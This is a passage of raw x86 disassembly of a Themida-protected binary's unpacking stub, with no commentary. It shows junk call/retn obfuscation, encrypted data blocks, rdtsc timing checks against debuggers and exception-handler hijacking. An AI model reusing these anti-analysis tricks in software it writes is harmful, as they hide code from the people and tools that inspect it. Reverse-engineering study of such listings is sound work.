		call	loc_583AA6
		and	[ecx-3Dh], bl


loc_583AA6:				; CODE XREF: sub_583550+54Ep
		pop	ecx
		mov	[esp+24h+var_20], ecx
		add	[esp+24h+var_20], 1Ah
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		jbe	short near ptr loc_583AF2+1
		jmp	short loc_583AEC
; ---------------------------------------------------------------------------
		js	short loc_583A8E
		cdq


loc_583ABD:				; CODE XREF: sub_583550+4D9j
					; sub_583550+50Cj
		mov	eax, [ebp+61020E5h]
		push	0
		push	edi
		call	loc_583ACE
		and	[edi-3Dh], bl


loc_583ACE:				; CODE XREF: sub_583550+576p
		pop	edi
		mov	[esp+10h+var_C], edi
		add	[esp+10h+var_C], 15h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 80CDh
		dd 1840Fh, 0FCF90000h, 1C9DBD29h
; ---------------------------------------------------------------------------


loc_583AEC:				; CODE XREF: sub_583550+568j
		adc	[esi], al
		cmp	[esp+4], eax


loc_583AF2:				; CODE XREF: sub_583550+566j
		jnz	loc_583B28
		mov	[ebp+61010E1h],	edx
		jg	loc_583B0A
		mov	[ebp+61019DDh],	ecx


loc_583B0A:				; CODE XREF: sub_583550+5AEj
		mov	dword ptr [ebp+6138557h], 1
		jmp	loc_583B28
; ---------------------------------------------------------------------------
		db 0C0h, 36h, 5Dh
		dd 7B539F8Ch, 6C41937Eh, 0CA57412Ch
; ---------------------------------------------------------------------------


loc_583B28:				; CODE XREF: sub_583550:loc_583AF2j
					; sub_583550+5C4j
		pusha
		clc
		jmp	loc_583B3A
; ---------------------------------------------------------------------------
		db 89h
		dd 1000E9BDh, 0F906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_583B3A:				; CODE XREF: sub_583550+5DAj
		mov	eax, 1


loc_583B3F:				; CODE XREF: sub_583550+5F7j
		xchg	eax, [ebp+61386CBh]
		or	eax, eax
		jnz	short loc_583B3F
		push	dword ptr [ebp+61023E5h]
		pop	dword ptr [ebp+613854Fh]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+61006B9h]
		cmp	dword ptr [ebp+6102D79h], 0
		jz	short loc_583B70
		push	0
		call	dword ptr [ebp+61031C9h]


loc_583B70:				; CODE XREF: sub_583550+616j
		cmp	dword ptr [ebp+6102969h], 1
		jz	short loc_583B86
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+61006B9h]


loc_583B86:				; CODE XREF: sub_583550+627j
		push	0
		push	esi
		call	loc_583B91
		and	[esi-3Dh], bl


loc_583B91:				; CODE XREF: sub_583550+639p
		pop	esi
		mov	[esp+60h+var_5C], esi
		add	[esp+60h+var_5C], 18h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0E1h, 0E7h, 12h
		dd 830F9528h, 1, 0E18D01F9h, 6A061018h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 706DC357h
		dd 9D2B6022h, 6101C45h,	1C02B61h, 1031C18Dh, 24548B06h
		dd 0E99D0928h, 8906101Eh, 10147585h, 0ADB53106h, 0BE06100Fh
		dd 3Ch,	21E5BD09h, 74030610h, 6A2424h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 2F6977C3h
		dd 893316C3h, 101CF9BDh, 6AAD6606h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 3BF3C350h
		dd 15FA05B6h, 7218501h,	3FC0610h, 6A242444h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0EF1DC355h, 0B4B3B77Dh, 60F5600Ah, 0F1B589h,	33BF0610h
		dd 61182CD5h, 52505061h, 108E0Fh, 0BE90000h, 0F2000000h
		dd 0EA53200Bh, 1BA9B049h, 310F0C6Bh, 8E9h, 42F14D00h, 0E9EE9D90h
		dd 89585A12h, 8BF82404h, 95297840h, 61029A5h, 8557BD83h
		dd 0F000613h, 13185h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 90F90587h, 1E8F0Fh, 0E8600000h
		dd 14h,	0E2E95E65h, 8DC6E95Ah, 311E82AEh, 87FF5DBBh, 0F3D4DDB7h
		dd 61C78B5Bh, 0F525050h, 289h, 0F616000h, 60525031h, 60310F61h
		dd 5A585A61h, 850F9058h, 16h, 9E960h, 46290000h, 345BED1Eh
		dd 0F184B23h, 81h, 448B6100h, 6A2C24h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 892F25C3h
		dd 102D0195h, 69B52906h, 90061004h, 108C0Fh, 850F0000h
		dd 0Ah,	5E9h, 0A9CDE800h, 6050855Eh, 14E860h, 0E20E0000h
		dd 9D1F4D19h, 56116E93h, 0D1F01068h, 2004BDBBh,	665E5B12h
		dd 6162FFB8h, 0AE9h, 55157D00h,	2C4B2726h, 615B3616h, 518D0190h
		dd 8D061029h, 134F6A85h, 7E906h, 84920000h, 46CE7579h
		dd 6AD0FF25h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0CF0BC356h, 92AC46D7h,	2AE1BD09h
		dd 44030610h, 6A2824h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 624D5AC3h, 901B531h, 408B0610h
		dd 0DE96018h, 67000000h, 1F71C222h, 70556791h, 39F28C3Ah
		dd 51E5BF66h, 0E5B58961h, 40061014h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 51C35343h, 952B6060h, 6102A81h
		dd 61F18B66h, 85538589h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0FCA228C3h, 5BFB004Fh
		dd 58DDBDCAh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	67C35141h, 78708BEDh, 0ED9D2960h, 8B061016h, 100E9DBDh
		dd 13E96106h, 6C000000h, 0E72E9913h, 79EC8A99h,	0DD3B30CDh
		dd 8C565DB0h, 0C683FFCEh, 0F96F81Ch, 1386h, 0EE900h, 0A2500000h
		dd 9131C54h, 1CC19056h,	12B8010Eh, 24247C81h, 10000000h
		dd 0C2870Fh, 90F50000h,	0DE960h, 6F230000h, 48CBB432h
		dd 6F82B9C3h, 61D11A7Bh, 60525050h, 0F6129B7h, 0F525031h
		dd 8Eh,	0F310F00h, 82h,	5A585A00h, 8D099058h, 6100CA9h
		dd 2824448Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	6CC35343h, 58F8267Ch, 0F1F3CACh, 0C82h,	6880F00h
		dd 9000000h, 10092595h,	85896006h, 6103341h, 5061E0B4h
		dd 0CE9h, 0F2E70100h, 88522FF2h, 6D85E878h, 240489DFh
		dd 59D8B60h, 0F061019h,	86h, 858D6100h,	6134F6Ah, 9E9h
		dd 199A0A00h, 0DB60B255h, 0D0FF296Eh, 6880Fh, 95310000h
		dd 61006CDh, 810F6096h,	3, 61D9B70Fh, 24247403h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 49C35242h, 60021E75h
		dd 10E94Bh, 61D0000h, 653E1D23h, 65AEE617h, 95C81447h
		dd 880F9F83h, 18h, 13E9h, 0A3FBE800h, 938AB676h, 38CF26ADh
		dd 4F5B9EEEh, 0CC70D769h, 20B5BD8Dh, 6A0610h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 93FA93C3h
		dd 0BFD2AE1Dh, 6AAD0Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F81FAC3h, 0C87h, 6860F00h, 0F000000h
		dd 8Ah,	247C8100h, 24h,	0DC870F10h, 0F000000h, 168Ah, 11E900h
		dd 12EF0000h, 0BF357B60h, 0D3EA1D77h, 0D622B3A5h, 90789C4Ah
		dd 8E9h, 0E4BF900h, 169E4336h, 0E8605020h, 0Fh,	8CE5F80h
		dd 8332ECD5h, 0E63EAC12h, 0BFA227D7h, 6ED69A16h, 0BE95Fh
		dd 2EBF0000h, 0B3012BEDh, 0A7876F5Eh, 609061C3h, 130DB589h
		dd 8B660610h, 448B61CEh, 7E92824h, 39000000h, 7F5A10D2h
		dd 6050282Dh, 13E9h, 24643400h,	0E480E9FCh, 96A0C692h
		dd 0AA903950h, 2724EDD1h, 59616056h, 24048961h,	8860Fh
		dd 830F0000h, 2, 858D6160h, 6134F6Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0D7C35242h,	0BD8B60CCh, 61015CDh
		dd 10E19D8Bh, 0FF610610h, 8D9D89D0h, 3061034h, 6A242444h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D31EC356h, 5425BC19h, 0AB3C8A49h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 65C35545h, 4D5ACE41h
		dd 0FA810762h, 10000h, 7AA820Fh, 870F0000h, 8, 28E0Fh
		dd 61600000h, 2F59BD8Dh, 89F90610h, 10228D8Dh, 6AAD06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0E85AFBC3h, 0BDB53157h, 81061013h, 24247Ch, 0F100000h
		dd 0DA87h, 15BD0100h, 90061013h, 11E860h, 0F6A50000h, 6CD9FE6h
		dd 3287053h, 1B327493h,	6647711Ah, 0E95EF88Bh, 13h, 9F8E949Bh
		dd 0F2C7D525h, 6A737492h, 28C6CA1Ah, 6113FF89h,	0BE950h
		dd 0EE6E0000h, 986D7434h, 0D1A80CA2h, 8BF990C3h, 0F282444h
		dd 68Dh, 4DB58900h, 90061033h, 0E8A0Fh,	52500000h, 310F6160h
		dd 8B0Fh, 585A0000h, 48C0F50h, 60000000h, 90616160h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0E3C35040h, 21BE00ECh
		dd 9908A23Ch, 719529FCh, 8D06101Eh, 134F6A85h, 85896006h
		dd 6102F1Dh, 61F18B66h,	6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 33028C3h, 89242444h
		dd 1001CD9Dh, 0B58B6006h, 6102F99h, 1629858Bh, 50610610h
		dd 0FE9h, 82F82000h, 1C2A0278h,	23A8BE29h, 0B8C2131Fh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 5ABAC353h, 60892A11h, 92D8D89h
		dd 0AB610610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	8EC35242h, 0E428FB8Fh, 0A86946BAh, 13E9h, 41B8A600h
		dd 80E852Bh, 3B874395h,	23921B2Ah, 0CF4608C9h, 2951BD09h
		dd 0BD8D0610h, 6100601h, 0EE5B589h, 29AD0610h
		dd 100625BDh, 247C8106h, 28h, 64870F10h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 2E3C350h, 60054333h,	1A2BB7BBh, 61EEB71Dh, 0F525050h
		dd 28Dh, 0F616000h, 52506031h, 585A310Fh, 8E9h,	63C8C200h
		dd 0D6A17694h, 585A618Fh, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FCFAC356h
		dd 14C5D667h, 89C448B6h, 102369B5h, 24448B06h, 0E985012Ch
		dd 90061000h, 16890Fh, 0E9600000h, 9, 0B7A4ACE0h, 0D7BB03D0h
		dd 0F5250A2h, 61585A31h, 60525050h, 450458BBh, 0F525065h
		dd 61585A31h, 5250310Fh, 310F6160h, 810Fh, 585A0000h, 6A90585Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 9F7DC353h, 4A9FED1Ah, 19858960h, 0F506102Fh
		dd 6A858D61h, 6A06134Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 6218C351h, 0B25D74E4h
		dd 0C58D3160h, 60061005h, 12E9h, 29844200h, 3A045F96h
		dd 0AA9F0D28h, 80AE1BE6h, 8B67D933h, 0FF6161D0h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 92D4B6F8h, 5E9D6h, 69330000h, 33BBA93h, 6A282444h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6F7CC352h, 6951D095h, 14E9h,	0E8F6AF00h, 18FE8083h
		dd 20C2EB6Bh, 0DB1B960h, 0DE9D32Eh, 8F0FABD6h, 6, 0A019D09h
		dd 0FF5E0610h, 1385538Dh, 53BD8306h, 61385h, 0C0330A75h
		dd 944DB58Dh, 0E6FF0613h, 7C81AD56h, 2824h, 0E771000h
		dd 24448B50h, 858D502Ch, 6134F6Ah, 4403D0FFh, 8B972824h
		dd 4F858ADFh, 84061385h, 3A0474C0h, 574C7507h, 75AEC032h
		dd 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h
		dd 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h
		dd 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h
		dd 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h,	10147585h
		dd 0FF5DE906h, 0F5EFFFFh, 0D8Bh, 8E900h, 62E10000h, 0A01D4593h
		dd 6ACE87h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0E006C8C3h, 0E98E78FEh, 14h, 3FB7A9F4h, 0E3230C8Bh
		dd 576EE177h, 8328F0D1h, 5B689740h, 0F08B6060h,	93CA4DB9h
		dd 0FD8A612Bh, 75858B61h, 6A061014h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 18DCC357h
		dd 25B494E9h, 56F844DCh, 10818529h, 0E0D10610h,	13E9h
		dd 82673800h, 0E6EFE05Dh, 0FC199376h, 92ABC20Ch, 0AFA07593h
		dd 6018503h, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 866A07C3h, 986956A0h, 0FE9h, 7B8CF900h
		dd 5F668441h, 17213B54h, 3BD05F02h, 9DD8D89h, 0BE0610h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0DC16C351h, 4D8D892Fh,	96061002h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h
		dd 0A4905326h, 9589738Bh, 6100E8Dh, 0BE9AD66h, 4C000000h
		dd 472BBB37h, 677CBB0Ah, 0C1F9F656h, 6A02E0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6A20ECC3h
		dd 0DB4D9DA9h, 603A0D05h, 152BD3BFh, 61DA8A59h,	20B58503h
		dd 9D890610h, 6102159h,	50006A96h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 41CB3B16h, 56006AADh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 6696CEC5h, 7F6255C9h, 0BA666065h, 57606C90h,	458D095Ah
		dd 61061008h, 13E961h, 2F330000h, 0EC99B16Dh, 0A0744976h
		dd 81A4D634h, 3C060C80h, 247C8139h, 24h, 8D870F10h, 0E9000000h
		dd 0Fh,	0CFA5D704h, 0B8AFA1C1h,	4237DD80h, 50781626h, 52505250h
		dd 310F5250h, 310F585Ah, 8E0Fh,	585A0000h, 5250310Fh, 840Fh
		dd 310F0000h, 0CE9h, 2E18300h, 72B57239h, 29ED54F9h, 5A585A6Dh
		dd 24048958h, 6830Fh, 0BD890000h, 6101481h, 2824448Bh
		dd 1830Fh, 50F50000h, 4896160h,	0ED852924h, 8D06102Dh
		dd 134F6A85h, 7850F06h,	0F000000h, 184h, 840FFC00h, 1
		dd 0FCD0FFFCh, 24244403h, 0FD958960h, 0E806100Bh, 8, 0D29258AEh
		dd 1AEFE4BBh, 615F8EB7h, 1C244489h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 90C35242h, 0DD858994h, 0C606101Eh
		dd 1023E585h, 85C70006h, 61386CBh, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6138557h], 0
		push	0
		push	ecx
		call	loc_584905
		and	[ecx-3Dh], bl


loc_584905:				; CODE XREF: sub_583550+13ADp
		pop	ecx
		mov	[esp+68h+var_64], ecx
		add	[esp+68h+var_64], 18h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 63h,	12h, 4Ch
; ---------------------------------------------------------------------------
		and	esp, [ebx+55006AFCh]
		call	loc_584926
		and	[ebp-3Dh], bl


loc_584926:				; CODE XREF: sub_583550+13CEp
		pop	ebp
		mov	[esp+68h+var_64], ebp
		add	[esp+68h+var_64], 19h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		dw 5A4Ch
		dd 622DE9B3h, 0BE9h, 793CC600h,	84A9E3FDh, 0B9CA0F8Eh
		dd 498D8961h, 1061014h,	100B51BDh, 8C206h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B3C35545h, 827D309Fh
		dd 20B5858Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 36D869C3h, 8E9F625h, 0DC000000h
		dd 0AE1A962Ah, 4A811611h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 81C35242h, 4BE5033Ah,	4D26BFCh, 6AC203F8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0B54AC355h, 1171B509h, 0B5010610h, 6101B55h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 4B634D95h, 1B501D8h, 0AD061030h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0BDC35141h, 3145B474h
		dd 1029718Dh, 247C8106h, 24h, 11870F10h, 60000001h, 7CCB8166h
		dd 15BD33E6h, 61061007h, 0DE990h, 66C50000h, 0ECC0D07Eh
		dd 0AD69056Fh, 507443D4h, 52505360h, 585A310Fh,	6A90615Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 49D7C356h, 9E91Bh, 80260000h, 1F83157Bh
		dd 8B401CB3h, 6A282444h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 65A2C351h, 6890F60h
		dd 81000000h, 0B7A255CBh, 24C98178h, 61763E2Ch,	8E950h
		dd 7D830000h, 3B9CFB63h, 4896CA9h, 0B860F24h, 0E9000000h
		dd 6, 0FFD6D1E5h, 858DFD06h, 6134F6Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0E8C35141h,	0AAE95620h, 0FF9CDF80h
		dd 0D98D298Ch, 0FF061022h, 53006AD0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 800F6289h
		dd 0Ch,	7E9h, 0EF673B00h, 70E98CC7h, 0FFFD2BE9h, 51006AFFh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F1A20792h, 0CE98AA9h, 0ED000000h, 0AFB01FCAh, 0EB7B4E51h
		db 0F2h, 0CEh, 45h
; ---------------------------------------------------------------------------


loc_584BA3:				; CODE XREF: sub_583550:loc_5839C6j
		lea	eax, [ebp+61399B6h]
		mov	[ebp+6101C61h],	ebx
		nop
		pusha
		mov	di, 86EAh
		popa
		push	eax
		jmp	loc_584BCE
; ---------------------------------------------------------------------------
		db 0CCh
		db 26h,	48h, 54h
		dd 3BCAA122h, 2E8BB10Fh, 4623C141h
		db 0E0h, 3Eh
; ---------------------------------------------------------------------------


loc_584BCE:				; CODE XREF: sub_583550+1667j
		nop
		cmc
		push	large dword ptr	fs:0
		ja	loc_584BDE
		cmc


loc_584BDE:				; CODE XREF: sub_583550+1687j
		mov	eax, [esp+4+var_4]
		xor	[ebp+610329Dh],	ebx
		mov	[ebp+6101FBDh],	eax
		push	0
		push	edx
		call	sub_584BF8
		and	[edx-3Dh], bl
sub_583550	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_584BF8	proc near		; CODE XREF: sub_583550+16A0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_584BF8	endp

; ---------------------------------------------------------------------------
		adc	edx, ebp
		aas
		test	dl, ah
		sbb	[ecx+75h], dh
		push	esi
		pusha
		movzx	ecx, dx
		mov	ebx, [ebp+6100F61h]
		popa
		stc
		mov	[ebp+6102F39h],	edi
		mov	large fs:0, esp
		jns	loc_584C36
		or	[ebp+610004Dh],	esi


loc_584C36:				; CODE XREF: Themida_:00584C2Aj
		lea	eax, [ebp+6139815h]
		stc
		mov	[eax+1], esp
		push	0
		push	ebx
		call	sub_584C4B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584C4B	proc near		; CODE XREF: Themida_:00584C43p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_584C4B	endp

; ---------------------------------------------------------------------------
		mov	esp, 29FB3EBBh
		adc	ecx, [ecx+10191D8Dh]
		push	es
		jmp	loc_584E4E
; ---------------------------------------------------------------------------
		sub	[ebp+61013A5h],	edi
		mov	ebx, ebx
		call	$+5
		pop	ebp
		sub	ebp, 613980Eh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+6102969h], 0
		jz	short loc_584CA6
		mov	eax, [ebp+61010C5h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+6100701h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+61009ADh]


loc_584CA6:				; CODE XREF: Themida_:00584C8Cj
		pusha
		push	dword ptr [ebp+613815Bh]
		lea	eax, [ebp+613815Fh]
		push	eax
		lea	eax, [ebp+6138357h]
		push	eax
		call	dword ptr [ebp+6100251h]
		add	esp, 0Ch
		popa
		jb	loc_584CDB
		jmp	loc_584CDB
; ---------------------------------------------------------------------------
		dd 0C4AA351Ch, 68C811E8h
		db 22h,	0EDh, 77h
; ---------------------------------------------------------------------------


loc_584CDB:				; CODE XREF: Themida_:00584CC5j
					; Themida_:00584CCBj
		mov	[ebp+6101289h],	esi
		lea	esi, [ebp+6138357h]
		mov	[ebp+61018F9h],	edx
		lea	edi, [ebp+6102B01h]
		push	0
		push	ecx
		call	sub_584CFE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584CFE	proc near		; CODE XREF: Themida_:00584CF6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_584CFE	endp

; ---------------------------------------------------------------------------
		dw 453h
		dd 47413C6Eh, 3E80F0h, 33840Fh,	0A4F50000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C2C35646h, 33D997F7h
		dd 1D5DB589h, 0CAE90610h, 29FFFFFFh, 100DBDB5h,	89C02B06h
		dd 1004A19Dh, 6AAA06h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 8950C6C3h, 7B84E37h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 6EA2C353h, 0E2019892h, 0BE982h, 6C340000h
		dd 4C006AB1h, 0E834E29h, 0A185C71Eh, 106102Dh, 60000000h
		dd 9959EE81h, 85892E50h, 6102161h, 858D8D61h, 6A06104Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0F726C351h, 0BF25E91Bh, 0F70890E7h, 2FC99D89h
		dd 0E1FF0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0BDC35343h, 0C72390E8h,	0AE60FF20h
		db 7Fh
; ---------------------------------------------------------------------------


loc_584E21:				; DATA XREF: Themida_:0054C910o
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61399C0h
		mov	eax, [ebx+0B8h]
		mov	[ebp+613815Bh],	eax
		lea	eax, [ebp+6139807h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_584E4E:				; CODE XREF: Themida_:00584C67j
		push	0
		push	edi
		call	sub_584E59
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584E59	proc near		; CODE XREF: Themida_:00584E51p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_584E59	endp

; ---------------------------------------------------------------------------
		db 97h,	0D4h, 8Dh
		dd 74D38B44h, 60F851F2h, 12E9h,	6B1D7E00h, 25D9D1FEh, 0DB08A46Fh
		dd 37607E76h, 60E6D7EFh, 8B0Fh,	59530000h, 9F56161h, 1013AD85h
		dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0EE8E75C3h, 0A6460114h, 8E9C0h, 0DBA60000h
		dd 0DF7A34A4h, 858D6DD6h, 6139CB9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 72C35040h, 0F04F6C2Ah, 0F6398E86h
		dd 1820FFCh, 0F8000000h, 13800F50h, 0F000000h, 0D85h, 8E900h
		dd 9E1D0000h, 76AACFC8h, 489DCEFh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0D1A4A6A2h
		dd 16B27B07h, 13E92Ch, 0B5D80000h, 0BBBFC940h, 8287E4D3h
		dd 6D3AB33Dh, 78A66ECEh, 11E9E6h, 898F0000h, 0C79601C4h
		dd 0C65EB8BDh, 3719E64h, 6408D9EAh, 35FFh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 7695FC3h, 0B32DA003h, 60BE632Ah, 3289B52Bh, 5E80610h
		dd 0D8000000h, 8FF3D9D7h, 615AE3B7h, 258964h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 5DF9C355h, 14B95DA5h, 8B60624Ah, 10147995h
		dd 55B52B06h, 61061010h, 1B858DF8h, 6006139Dh, 30ED8D8Bh
		dd 0E8500610h, 9, 9868AE53h, 569A99D7h,	61585AE3h, 6A016089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 65C9C357h, 0DD44DF78h, 0F5563153h, 12E9h
		dd 5899C500h, 44556317h, 47F39113h, 0B3AC7D82h,	0C68BA51Bh
		dd 1023E585h, 68F54F06h, 0D13A7410h, 128A0Fh, 52500000h
		dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 1A240481h
		dd 892D8E00h, 1023D195h, 10810F06h, 0E9000000h,	0Bh, 0B0F2ADC7h
		dd 8F324078h, 0FFAC087Fh, 101D45B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 34FCE1F5h
		dd 22220712h, 228DBD89h, 858D0610h, 613858Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h, 1A1CCDADh
		dd 0B4662B4Ch, 6AD0FFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 7E75A9C3h, 987818E5h, 0B5019FC7h
		dd 610167Dh, 6DE9h, 75B58900h, 6006100Dh, 61FA8AF8h, 0C245C8Bh
		dd 0E855h, 815D0000h, 139CC3EDh, 99858B06h, 89061014h
		dd 101D4585h, 0E5858B06h, 89061020h, 10094585h,	61858B06h
		dd 8906102Eh, 10145D85h, 0E585C606h, 61023h, 86CB85C7h
		dd 613h, 858D0000h, 6139D1Bh, 0B88389h,	335D0000h, 9531C3C0h
		dd 61009A1h, 22E98589h,	74BC0610h, 6A0012FFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0AB80C357h, 7E0C58D8h, 10E93Eh, 41EA0000h, 5A546065h
		dd 9AB0842Bh, 0A480A937h, 8F64513Bh, 5,	57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0BD89FED7h, 6102871h, 6A04C483h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5ABAC353h
		dd 69892A11h, 8B666099h, 0E86161C6h, 13h, 0AF8572E9h, 4C0DAF9Ch
		dd 14F0384h, 290271EFh,	0E90D7494h, 5, 0DE5B5F7h, 890F5F1Ah
		dd 2, 0C781D98Bh, 718Fh, 0BAC28B66h, 1C34h, 1F719589h
		dd 0F8B0610h, 27E981F9h, 66546569h, 81576CB8h, 6BBCF2F1h
		dd 0EE944h, 0EB970000h,	0EB7E837Eh, 0BAE7F977h,	17F67467h
		dd 0FD32F181h, 0B5295E67h, 61023F9h, 0C5B00F89h, 8B04EF83h
